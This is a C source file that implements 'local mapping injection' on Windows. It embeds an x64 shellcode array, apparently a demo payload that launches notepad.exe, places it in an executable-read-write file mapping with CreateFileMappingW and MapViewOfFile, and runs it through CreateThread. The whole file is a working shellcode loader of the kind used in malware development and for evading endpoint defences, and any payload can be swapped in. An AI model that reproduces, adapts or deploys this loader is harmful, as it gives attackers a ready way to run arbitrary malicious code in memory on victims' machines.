Local Mapping Injection

Local Mapping Injection

LocalMappingInjection.c

#include <Windows.h>
#include <stdio.h>

// notepad.exe
unsigned char shellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0x9b,0xdb,0x31,0xf0,0x41,
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,
0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65,0x00 };

/*
Function: LocalMapInjection
Parameters:
	- pShellcode -> pointer to shellcode address
	- sShellcodeSize -> Size of shellcode (in bytes)
	- ppMappedAddr -> Used to point the memory address to mapped memory address
*/

BOOL LocalMapInject(_In_ PBYTE pShellcode, _In_ SIZE_T sShellcodeSize, _Out_ PVOID* ppMappedAddr) {

	// Initialize values
	BOOL rValue = TRUE;
	HANDLE hFile = NULL;
	PVOID pMapAddr = NULL;

	// Create filemapping with RWX
	hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)sShellcodeSize, L"N0xShell");
	if (!hFile) {
		printf("[!] CreateFileMappingW Failed %d\n", GetLastError());
		rValue = FALSE;
		goto _End;
	}

	// Map shellcode into memory using mapped file
	pMapAddr = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 0, 0, sShellcodeSize);
	if (!pMapAddr) {
		printf("[!] MapViewOfFile Failed %d\n", GetLastError());
		rValue = FALSE;
		goto _End;
	}

	// Debug stuff
	printf("[+] pMapAddress is: 0x%p \n", pMapAddr);
	printf("[+] Press Enter to Map Shellcode!\n");
	getchar();

	// Copy shellecode into mapped memory
	memcpy(pMapAddr, pShellcode, sShellcodeSize);



_End:
	*ppMappedAddr = pMapAddr;
	if (hFile && !rValue) {
		CloseHandle(hFile);
	}
	
	return rValue;
}

int main() {

	PVOID pAddr = NULL;
	HANDLE hThread = NULL;

	if (!LocalMapInject(shellcode, sizeof(shellcode), &pAddr)) {
		return -1;
	}

	printf("[+] Press <Enter> To Execute Shellcode \n");
	getchar();

	// Creating thread with mapped memory
	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAddr, NULL, NULL, NULL);
	if (hThread != NULL) {
		WaitForSingleObject(hThread, INFINITE);
		CloseHandle(hThread);
		printf("[+] Successfully executed shellcode!\n");
	}
	else
		printf("[!] CreateThread Failed %d\n", GetLastError());

	printf("[+] Press <Enter> to quit!\n");
	getchar();

	return 0;
}